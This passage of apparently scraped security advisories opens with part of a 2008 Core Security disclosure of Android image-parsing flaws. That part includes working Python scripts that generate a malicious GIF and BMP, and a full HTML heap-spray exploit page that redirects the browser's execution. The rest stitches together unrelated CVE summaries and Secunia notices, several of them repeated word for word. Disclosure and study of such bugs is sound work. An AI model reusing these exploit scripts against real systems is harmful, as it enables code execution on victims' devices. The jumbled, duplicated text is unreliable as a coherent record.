Bitmap::setConfig(SkBitmap::Config,uint,uint,uint) - -----------/ This function stores the SWidth and SHeight inside the Bitmap object as shown in the following code snippet: /----------- .text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7 .text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8 .text:00035C40 MOV R4, R0 ; $R4 = *Bitmap - -----------/ And later: /----------- .text:00035C58 BL _Bitmap15ComputeRowBytes ; SkBitmap::ComputeRowBytes(SkBitmap::Config,uint) .text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes .text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth .text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight .text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes - -----------/ The following python script generates a GIF file that causes the overflow. It requires the Python Imaging Library. Once generated the GIF file, it must be opened in the Android browser to trigger the overflow: /----------- ##Android Heap Overflow ##Ortega Alfredo _ Core Security Exploit Writers Team ##tested against Android SDK m3-rc37a import Image import struct #Creates a _good_ gif image imagename='overflow.gif' str = '\x00\x00\x00\x00'*30000 im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1) im.save(imagename,'GIF') #Shrink the Logical screen dimension SWidth=1 SHeight=1 img = open(imagename,'rb').read() img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:] #Save the _bad_ gif image q=open(imagename,'wb=""') q.write(img) q.close() - -----------/ This security bug affects Android SDK m3-rc37a and earlier versions. Version m5-rc14 of the Android SDK includes a fix and is not vulnerable to this bug. #2 - PNG image parsing, multiple vulnerabilities: The Portable Network Graphics (PNG) is a bitmapped image format that employs lossless data compression [9]. PNG was created to improve upon and replace the GIF format as an image file format that does not require a patent license. The version inside libsgl.so distributed with Android SDK m3-rc37a and earlier versions include the string '"libpng version 1.2.8 - December 3, 2004"'. Source code inspection of the file '\WebKitLib\WebKit\WebCore\platform\image-decoders\png\png.c' included in the 'webkit-522-android-m3-rc20.tar.gz ' release of the Android project reveals that '"libpng version 1.2.7 - September 12, 2004"' has been used in this release. This old version of libpng makes Android SDK m3-rc37a and earlier versions vulnerable to the following known issues: ' CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269 '. Android version m5-rc14 has been updated to include libpng 1.2.24 and is likely not vulnerable. #3 - BMP image processing, negative offset integer overflow: The BMP file format, sometimes called bitmap or DIB file format (for device-independent bitmap), is an image file format used to store bitmap digital images, especially on Microsoft Windows and OS/2 operating systems [10]. The integer overflow is caused when a Windows Bitmap file (.BMP) header is parsed in the method 'BMP::readFromStream(Stream *, ImageDecoder::Mode)' inside the 'libsgl.so' library. When the value of the 'offset' field of the BMP file header is negative and the Bitmap Information section (DIB header) specifies an image of 8 bits per pixel (8 bpp) the parser will try to allocate a palette, and will use the negative offset to calculate the size of the palette. The following code initializes the palette with the color white ('0x00ffffff') but with a carefully chosen negative offset it can be made to overwrite any address of the process with that value. Because the BMP decoder source wasn't released, a disassembly of the binary included by Android is provided below: /----------- .text:0002EE38 MOV LR, R7 ; R7 is the negative offset .text:0002EE3C MOV R12, R7,LSL#2 .text:0002EE40 .text:0002EE40 loc_2EE40 .text:0002EE40 LDR R3, [R10,#0x10] .text:0002EE44 ADD LR, LR, #1 .text:0002EE48 MOVL R2, 0xFFFFFFFF .text:0002EE4C ADD R1, R12, R3 ; R3 is uninitialized (because of the same bug) but ranges 0x10000-0x20000 .text:0002EE50 MOV R0, #0 .text:0002EE54 CMP LR, R9 .text:0002EE58 STRB R2, [R12,R3] ;Write 0x00ffffff to R12+13 (equals R1) .text:0002EE5C STRB R2, [R1,#2] .text:0002EE60 STRB R0, [R1,#3] .text:0002EE64 STRB R2, [R1,#1] .text:0002EE68 ADD R12, R12, #4 .text:0002EE6C BNE loc_2EE40 - -----------/ Now, if let's take a look at the memory map of the Android browser: /----------- # ps ps USER PID PPID VSIZE RSS WCHAN PC NAME root 1 0 248 64 c0084edc 0000ae2c S /init root 2 0 0 0 c0049168 00000000 S kthreadd ... root 1206 1165 16892 14564 c0084edc 00274af8 S ./gdb app_0 1574 535 83564 12832 ffffffff afe0c79c S com.google.android.browser root 1600 587 840 324 00000000 afe0bfbc R ps # cat /proc/1574/maps cat /proc/1574/maps 00008000-0000a000 rwxp 00000000 1f:00 514 /system/bin/app_process 0000a000-00c73000 rwxp 0000a000 00:00 0 [heap] 08000000-08001000 rw-s 00000000 00:08 344 /dev/zero (deleted) ... # - -----------/ We can see that the heap is located in the range '0000a000-00c73000' and it is executable. Overwriting this area will allow to redirect execution flow if there is a virtual table stored in the heap. Later on the same method we can see that a call to the "Stream" Object VT is made: /----------- .text:0002EB64 LDR R12, [R8] # R8 is the "this" pointer of the Stream Object .text:0002EB68 MOV R0, R8 .text:0002EB6C MOV LR, PC .text:0002EB70 LDR PC, [R12,#0x10] # A call is made to Stream+0x10 - -----------/ Because the "Stream" Object (R8) is stored on the heap and we can fill the heap with the white color ' 0x00ffffff' we can load the Program Counter with the value at '0xffffff+0x10'. The following python script will generate a BMP to accomplish that: /----------- # This script generates a Bitmap file that makes the Android browser jump to the address at 0xffffff+0x10 # Must be loaded inside a HTML file with a tag like this: &lt;IMG src=badbmp.bmp&gt; # Alfredo Ortega - Core Security import struct offset = 0xffef0000 width = 0x0bffff height=8 bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00" bmp+=struct.pack("<I",offset) bmp+="\x28\x00\x00\x00" bmp+=struct.pack("<I",width) bmp+=struct.pack("<I",height) bmp+="\x03\x00\x08\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff" bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41" bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" open("badbmp.bmp","wb").write(bmp) - -----------/ Opening the BMP file generated with this script inside a HTML page will cause (sometimes, as it is dependent on an uninitialized variable) the following output of the gdb debugger: /----------- (gdb) attach 1574 attach 1574 Attaching to program: /system/bin/app_process, process 1574 ... 0xafe0d204 in __futex_wait () from /system/lib/libc.so (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) - -----------/ Here the browser process has jumped to the '0x00000000' address because that is the value at 0x00ffffff+0x10. We can change this value using common JavaScript heap-filling techniques. The complete exploit page follows: /----------- <HTML> <HEAD> </HEAD> <BODY> <script type="text/javascript"> // Fill 0x200000 - 0xa00000 with Breakpoints var nop = unescape("%u0001%uef9f"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<5;i++) document.write(nop) // Fill 0xa00000 - 0x1100000 with address 0x00400040 var nop = unescape("%u4000%u4000"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<2;i++) document.write(nop) </script> <IMG src=badbmp.bmp> </BODY> </HTML> - -----------/ Because the exploit needs to fill over 16 MB of heap memory to reach the address '0xffffff' it is very slow and the default memory configuration of Android will often abort the process before reaching the desired point. To overcome this limitation for demonstration purposes one can launch the emulator with this parameters: 'emulator -qemu -m 192' That will launch the Android emulator with 192 megabytes of memory, plenty for the exploit to work. *Report Timeline* . 2008-01-30: Vendor is notified that possibly exploitable vulnerabilities where discovered and that an advisory draft is available. 2008-01-30: Vendor acknowledges and requests the draft. 2008-01-31: Core sends the draft encrypted, including PoC code to generate malformed GIF images. 2008-01-31: Vendor acknowledges the draft. 2008-02-02: Vendor notifies that the software is an early release for the open source community, but agree they can fix the problem on the estimated date (2008-02-25). 2008-02-04: Core notifies the vendor that Android is using a vulnerable PNG processing library. 2008-02-08: Vendor acknowledges, invites Core to send any new findings and asks if all findings will be included in the advisory. 2008-02-12: Core responds to vendor that all security issues found will be included in the advisory, the date is subject to coordination. 2008-02-12: Vendor releases version m5-rc14 of the Android SDK. Core receives no notification. 2008-02-13: Core sends the vendor more malformed images, including GIF, PNG and BMP files. Only the BMP file affects the m5-rc14 release. 2008-02-20: Core sends to the vendor a new version of the advisory, including a BMP PoC that runs arbitrary ARM code and informs the vendor that we noticed that the recent m5-rc14 release fixed the GIF and PNG bugs. Publication of CORE-2008-0124 has been re-=scheduled for February 27th. 2008. 2008-02-21: Vendor confirms that the GIF and PNG fixes have been released and provides an official statement to the "Vendor Section" of the advisory. A final review of the advisory is requested before its release. The vendor indicates that the Android SDK is still in development and stabilization won't happen until it gets closer to Alpha. Changes to fix the BMP issue are coming soon, priorities are given to issues listed in the public issue tracking system at http://code.google.com/p/android/issues . 2008-02-26: Core indicates that publication of CORE-2008-0124 has been moved to March 3rd 2008, asks if an estimated date for the BMP fix is available and if Core should file the reported and any future bugs in the public issue tracking page. 2008-02-29: Final draft version of advisory CORE-2008-0124 is sent to the vendor as requested. Core requests for any additional comments or statements to be provided by noon March 3rd, 2008 (UTC-5) . 2008-03-01: Vendor requests publication to be delayed one day in order to publish a new release of Android with a fix to the BMP issue. 2008-03-02: Core agrees to delay publication for one day. 2008-03-03: Vendor releases Android SDK m5-rc15 which fixes the BMP vulnerability. Vendor indicates that Android applications run with the credentials of an unprivileged user which decreases the severity of the issues found . 2008-03-04: Further research by Alfredo Ortega reveals that although the vendor statement is correct current versions of Android SDK ship with a passwordless root account. Unprivileged users with shell access can simply use the 'su' program to gain privileges . 2008-03-04: Advisory CORE-2008-0124 is published. *References* [1] Android Overview - Open Handset Alliance - http://www.openhandsetalliance.com/android_overview.html [2] "Android Comes to Life in Barcelona" - The Washington Post , February 11th, 2008 - http://www.washingtonpost.com/wp-dyn/content/article/2008/02/11/AR2008021101944.html [3] Android Developer Challenge - http://code.google.com/android/adc.html [4] "Test Center Preview: Inside Google's Mobile future" - Inforworld, Feb. 27th 2008 - http://www.infoworld.com/article/08/02/27/09TC-google-android_1.html [5] "'Allo, 'allo, Android" - The Sydney Morning Herald, February 26th, 2008 http://www.smh.com.au/news/biztech/allo-allo-android/2008/02/26/1203788290737.html [6] The Shellcoder's Handbook: Discovering and Exploiting Security Holes by Chris Anley , John Heasman , Felix Linder and Gerardo Richarte. Wiley; 2nd edition (August 20, 2007) - http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html [7] Graphics Interchange Format version 89a - http://www.w3.org/Graphics/GIF/spec-gif89a.txt [8] Android downloads page http://code.google.com/p/android/downloads/list [9] Portable Network Graphics (PNG) specification - http://www.w3.org/TR/PNG/ [10] Bitmap File Structures - http://www.digicamsoft.com/bmp/bmp.html *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/. *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. *Disclaimer* The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. *GPG/PGP Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHzZRwyNibggitWa0RAjbdAJ9YztTFlDK9a3YOxAx5avoXQV5LhgCeMs6I teV3ahcSAUFEtsaRCeXVuN8= =u35s -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ____________________________________________________________________________ Publisher Name: OpenPKG GmbH Publisher Home: http://openpkg.com/ Advisory Id (public): OpenPKG-SA-2007.013 Advisory Type: OpenPKG Security Advisory (SA) Advisory Directory: http://openpkg.com/go/OpenPKG-SA Advisory Document: http://openpkg.com/go/OpenPKG-SA-2007.013 Advisory Published: 2007-05-17 22:31 UTC Issue Id (internal): OpenPKG-SI-20070517.02 Issue First Created: 2007-05-17 Issue Last Modified: 2007-05-17 Issue Revision: 03 ____________________________________________________________________________ Subject Name: png Subject Summary: Portable Network Graphics (PNG) Image Format Library Subject Home: http://www.libpng.org/pub/png/libpng.html Subject Versions: * <= 1.2.16 Vulnerability Id: CVE-2007-2445 Vulnerability Scope: global (not OpenPKG specific) Attack Feasibility: run-time Attack Vector: remote network Attack Impact: denial of service Description: As confirmed by the vendor, a Denial of Service (DoS) vulnerability exists in the PNG [0] image format library libpng [1]. The bug is a NULL-pointer-dereference vulnerability involving palette images with a malformed "tRNS" PNG chunk, i.e., one with a bad CRC value. This bug can, at a minimum, cause crashes in applications simply by displaying a malformed image. References: [0] http://www.libpng.org/pub/png/ [1] http://www.libpng.org/pub/png/libpng.html [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2445 ____________________________________________________________________________ Primary Package Name: png Primary Package Home: http://openpkg.org/go/package/png Corrected Distribution: Corrected Branch: Corrected Package: OpenPKG Enterprise E1.0-SOLID ghostscript-8.54-E1.0.1 OpenPKG Enterprise E1.0-SOLID png-1.2.12-E1.0.2 OpenPKG Community CURRENT ghostscript-8.57-20070516 OpenPKG Community CURRENT png-1.2.18-20070516 ____________________________________________________________________________ For security reasons, this document was digitally signed with the OpenPGP public key of the OpenPKG GmbH (public key id 61B7AE34) which you can download from http://openpkg.com/openpkg.com.pgp or retrieve from the OpenPGP keyserver at hkp://pgp.openpkg.org/. Follow the instructions at http://openpkg.com/security/signatures/ for more details on how to verify the integrity of this document

PHP remote file inclusion vulnerability in index.php in Achievo 1.1.0 allows remote attackers to execute arbitrary PHP code via a URL in the config_atkroot parameter. Achievo is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. Achievo 1.1.0 is vulnerable to this issue; other versions may also be affected

formmail.php in Jetbox CMS 2.1 allows remote attackers to send arbitrary e-mails (spam) via modified recipient, _SETTINGS[allowed_email_hosts][], and subject parameters. Jetbox CMS is prone to an input-validation vulnerabilitiy because it fails to adequately sanitize user-supplied input. Attackers can exploit this issue to send spam email in the context of the application. Jetbox 2.1 is vulnerable; other versions may also be affected

The Cisco Intrusion Prevention System (IPS) and IOS with Firewall/IPS Feature Set do not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic. Various HTTP content scanning systems fail to properly scan full-width/half-width Unicode encoded traffic. This may allow malicious HTTP traffic to bypass content scanning systems. A third party may use this issue to attempt further attacks. Attackers may send this type of HTTP data to evade detection and perform further attacks. Cisco has stated that all IOS releases that support the Firewall/IPS feature set are affected. Although we currently have no definitive list of such versions, Symantec is investigating the matter and will update this BID's list of vulnerable systems appropriately. Resin is a WEB server developed by Caucho Technology, which can be used under Microsoft Windows operating system. There are multiple vulnerabilities in the implementation of Resin for Windows, and remote attackers may use this vulnerability to obtain sensitive information without authorization. Resin does not properly filter input delivered via URL, allowing a remote attacker to read a continuous stream of data from any COM or LPT device on the system by supplying a DOS device filename with an arbitrary extension in the URL, exfiltrating Web pages through directory traversal attacks The contents of files in the application's WEB-INF directory, or the full system path to the Caucho Resin server through URLs containing special characters. ---------------------------------------------------------------------- BETA test the new Secunia Personal Software Inspector! The Secunia PSI detects installed software on your computer and categorises it as either Insecure, End-of-Life, or Up-To-Date. Effectively enabling you to focus your attention on software installations where more secure versions are available from the vendors. Download the free PSI BETA from the Secunia website: https://psi.secunia.com/ ---------------------------------------------------------------------- TITLE: Novell iChain HTTP Unicode Encoding Detection Bypass SECUNIA ADVISORY ID: SA26692 VERIFY ADVISORY: http://secunia.com/advisories/26692/ CRITICAL: Less critical IMPACT: Security Bypass WHERE: >From remote SOFTWARE: Novell iChain 2.x http://secunia.com/product/1423/ DESCRIPTION: A vulnerability has been reported in Novell iChain, which can be exploited by malicious people to bypass certain security restrictions. SOLUTION: Apply iChain 2.3 SP5 Interim Release 3 or greater (2.3.408). PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: https://secure-support.novell.com/KanisaPlatform/Publishing/539/3193302_f.SAL_Public.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . Full-width and half-width is an encoding technique for Unicode characters. Some Open Source or Microsoft Products such as Microsoft ISS and .NET Framework properly decode this type of encoding. Risk Level : High Impact : Security Bypass Systems Affected : Checkpoint Web Intelligence (Confirmed) IBM ISS Proventia Series (Confirmed) Full List of Vendors : (CERT - Vulnerability Note VU#739224) [1] Remedy : Contact your vendor for a hotfix, patch or advanced configuration. Credits : Fatih Ozavci (GamaTEAM Member) Caglar Cakici (GamaTEAM Member) It's detected using GamaSEC Exploit Framework GamaSEC Information Security Audit and Consulting Services (www.gamasec.net) Original Advisory Link : http://www.gamasec.net/english/gs07-01.html References : 1. CERT - Vulnerability Note VU#739224 http://www.kb.cert.org/vuls/id/739224 2. Unicode Home Page http://unicode.org 3. Unicode.org, Halfwidth and Fullwidth Forms http://www.unicode.org/charts/PDF/UFF00.pdf -- Best Regards Fatih Ozavci IT Security Consultant . ---------------------------------------------------------------------- 2003: 2,700 advisories published 2004: 3,100 advisories published 2005: 4,600 advisories published 2006: 5,300 advisories published How do you know which Secunia advisories are important to you? The Secunia Vulnerability Intelligence Solutions allows you to filter and structure all the information you need, so you can address issues effectively. The vulnerability is reported in versions prior to 4.0. SOLUTION: Update to version 4.0 or later. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications

Stonesoft StoneGate IPS before 4.0 does not properly decode Fullwidth/Halfwidth Unicode encoded data, which makes it easier for remote attackers to scan or penetrate systems and avoid detection. This may allow malicious HTTP traffic to bypass content scanning systems. Attackers may send this type of HTTP data to evade detection and perform further attacks. Cisco has stated that all IOS releases that support the Firewall/IPS feature set are affected. Although we currently have no definitive list of such versions, Symantec is investigating the matter and will update this BID's list of vulnerable systems appropriately. ---------------------------------------------------------------------- BETA test the new Secunia Personal Software Inspector! The Secunia PSI detects installed software on your computer and categorises it as either Insecure, End-of-Life, or Up-To-Date. Effectively enabling you to focus your attention on software installations where more secure versions are available from the vendors. Download the free PSI BETA from the Secunia website: https://psi.secunia.com/ ---------------------------------------------------------------------- TITLE: Novell iChain HTTP Unicode Encoding Detection Bypass SECUNIA ADVISORY ID: SA26692 VERIFY ADVISORY: http://secunia.com/advisories/26692/ CRITICAL: Less critical IMPACT: Security Bypass WHERE: >From remote SOFTWARE: Novell iChain 2.x http://secunia.com/product/1423/ DESCRIPTION: A vulnerability has been reported in Novell iChain, which can be exploited by malicious people to bypass certain security restrictions. SOLUTION: Apply iChain 2.3 SP5 Interim Release 3 or greater (2.3.408). PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: https://secure-support.novell.com/KanisaPlatform/Publishing/539/3193302_f.SAL_Public.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . Full-width and half-width is an encoding technique for Unicode characters. Some Open Source or Microsoft Products such as Microsoft ISS and .NET Framework properly decode this type of encoding. Risk Level : High Impact : Security Bypass Systems Affected : Checkpoint Web Intelligence (Confirmed) IBM ISS Proventia Series (Confirmed) Full List of Vendors : (CERT - Vulnerability Note VU#739224) [1] Remedy : Contact your vendor for a hotfix, patch or advanced configuration. Credits : Fatih Ozavci (GamaTEAM Member) Caglar Cakici (GamaTEAM Member) It's detected using GamaSEC Exploit Framework GamaSEC Information Security Audit and Consulting Services (www.gamasec.net) Original Advisory Link : http://www.gamasec.net/english/gs07-01.html References : 1. CERT - Vulnerability Note VU#739224 http://www.kb.cert.org/vuls/id/739224 2. Unicode Home Page http://unicode.org 3. Unicode.org, Halfwidth and Fullwidth Forms http://www.unicode.org/charts/PDF/UFF00.pdf -- Best Regards Fatih Ozavci IT Security Consultant . ---------------------------------------------------------------------- 2003: 2,700 advisories published 2004: 3,100 advisories published 2005: 4,600 advisories published 2006: 5,300 advisories published How do you know which Secunia advisories are important to you? The Secunia Vulnerability Intelligence Solutions allows you to filter and structure all the information you need, so you can address issues effectively. The vulnerability is reported in versions prior to 4.0. SOLUTION: Update to version 4.0 or later. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications

Check Point Web Intelligence does not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic. Various HTTP content scanning systems fail to properly scan full-width/half-width Unicode encoded traffic. This may allow malicious HTTP traffic to bypass content scanning systems. Web Intelligence is prone to a remote security vulnerability. ---------------------------------------------------------------------- BETA test the new Secunia Personal Software Inspector! The Secunia PSI detects installed software on your computer and categorises it as either Insecure, End-of-Life, or Up-To-Date. Effectively enabling you to focus your attention on software installations where more secure versions are available from the vendors. Download the free PSI BETA from the Secunia website: https://psi.secunia.com/ ---------------------------------------------------------------------- TITLE: Novell iChain HTTP Unicode Encoding Detection Bypass SECUNIA ADVISORY ID: SA26692 VERIFY ADVISORY: http://secunia.com/advisories/26692/ CRITICAL: Less critical IMPACT: Security Bypass WHERE: >From remote SOFTWARE: Novell iChain 2.x http://secunia.com/product/1423/ DESCRIPTION: A vulnerability has been reported in Novell iChain, which can be exploited by malicious people to bypass certain security restrictions. SOLUTION: Apply iChain 2.3 SP5 Interim Release 3 or greater (2.3.408). PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: https://secure-support.novell.com/KanisaPlatform/Publishing/539/3193302_f.SAL_Public.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . Full-width and half-width is an encoding technique for Unicode characters. Some Open Source or Microsoft Products such as Microsoft ISS and .NET Framework properly decode this type of encoding. Risk Level : High Impact : Security Bypass Systems Affected : Checkpoint Web Intelligence (Confirmed) IBM ISS Proventia Series (Confirmed) Full List of Vendors : (CERT - Vulnerability Note VU#739224) [1] Remedy : Contact your vendor for a hotfix, patch or advanced configuration. Credits : Fatih Ozavci (GamaTEAM Member) Caglar Cakici (GamaTEAM Member) It's detected using GamaSEC Exploit Framework GamaSEC Information Security Audit and Consulting Services (www.gamasec.net) Original Advisory Link : http://www.gamasec.net/english/gs07-01.html References : 1. CERT - Vulnerability Note VU#739224 http://www.kb.cert.org/vuls/id/739224 2. Unicode Home Page http://unicode.org 3. Unicode.org, Halfwidth and Fullwidth Forms http://www.unicode.org/charts/PDF/UFF00.pdf -- Best Regards Fatih Ozavci IT Security Consultant . ---------------------------------------------------------------------- 2003: 2,700 advisories published 2004: 3,100 advisories published 2005: 4,600 advisories published 2006: 5,300 advisories published How do you know which Secunia advisories are important to you? The Secunia Vulnerability Intelligence Solutions allows you to filter and structure all the information you need, so you can address issues effectively. The vulnerability is reported in versions prior to 4.0. SOLUTION: Update to version 4.0 or later. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. The vulnerability affects the following products: * Cisco Intrusion Prevention System (IPS) * Cisco IOS with Firewall/IPS Feature Set SOLUTION: No fix or workaround is currently available

Buffer overflow in MIBEXTRA.EXE in Ipswitch WhatsUp Gold 11 allows attackers to cause a denial of service (application crash) or execute arbitrary code via a long MIB filename argument. NOTE: If there is not a common scenario under which MIBEXTRA.EXE is called with attacker-controlled command line arguments, then perhaps this issue should not be included in CVE. WhatsUp Gold is prone to a denial-of-service vulnerability

Heap-based buffer overflow in Apple QuickTime before 7.1.3 allows user-assisted remote attackers to execute arbitrary code via a crafted Sample Table Sample Descriptor (STSD) atom size in a QuickTime movie. Apple QuickTime is prone to a heap-based buffer-overflow issue because it fails to properly check boundaries on user-supplied data before copying it into an insuficiently sized memory buffer. An attacker may exploit this issue by enticing victims into opening a maliciously crafted 'MOV' QuickTime movie file. Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the user running the application. Failed exploit attempts likely result in denial-of-service conditions. Versions of QuickTime 7 prior to 7.1.3 are vulnerable. Apple QuickTime is a popular multimedia player that supports a wide variety of media formats. There is a heap overflow vulnerability in QuickTime when parsing malformed STSD elements. If an attacker specifies a malicious element size, a heap overflow may be triggered when parsing a MOV file, resulting in arbitrary instruction execution. TPTI-07-07: Apple QuickTime STSD Parsing Heap Overflow Vulnerability http://dvlabs.tippingpoint.com/advisory/TPTI-07-07 May 10, 2007 -- CVE ID: CVE-2007-0754 -- Affected Vendor: Apple -- Affected Products: QuickTime Player 7.x -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability since January 31, 2006 by Digital Vaccine protection filter ID 4109. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of malformed Sample Table Sample Descriptor (STSD) atoms. Specifying a malicious atom size can result in an under allocated heap chunk and subsequently an exploitable heap corruption. -- Vendor Response: Apple has issued an update to correct this vulnerability. More details can be found at: http://docs.info.apple.com/article.html?artnum=304357 -- Disclosure Timeline: 2006.06.16 - Vulnerability reported to vendor 2006.01.31 - Digital Vaccine released to TippingPoint customers 2007.05.10 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by Ganesh Devarajan, TippingPoint DVLabs

Nokia Intellisync Mobile Suite 6.4.31.2, 6.6.0.107, and 6.6.2.2, possibly involving Novell Groupwise Mobile Server and Nokia Intellisync Wireless Email Express, allows remote attackers to obtain user names and other sensitive information via a direct request to (1) usrmgr/userList.asp or (2) usrmgr/userStatusList.asp. Intellisync Mobile Suite is prone to a information disclosure vulnerability. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. Join the FREE BETA test of the Network Software Inspector (NSI)! http://secunia.com/network_software_inspector/ The NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Nokia Intellisync Mobile Suite Multiple Vulnerabilities SECUNIA ADVISORY ID: SA25212 VERIFY ADVISORY: http://secunia.com/advisories/25212/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting, Exposure of system information, Exposure of sensitive information, DoS WHERE: >From remote SOFTWARE: Intellisync Mobile Suite http://secunia.com/product/3450/ DESCRIPTION: Johannes Greil has reported some vulnerabilities in Nokia's Intellisync Mobile Suite, which can be exploited by malicious people to gain knowledge of sensitive information, conduct cross-site scripting attacks, manipulate certain data, or cause a DoS (Denial of Service). 1) Missing authentication checks within certain ASP scripts (e.g. userList.asp, userStatusList.asp) can be exploited to modify or gain knowledge of certain user details, or to disable user accounts. 2) Certain input passed to de/pda/dev_logon.asp, usrmgr/registerAccount.asp, and de/create_account.asp is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. 3) An error within the 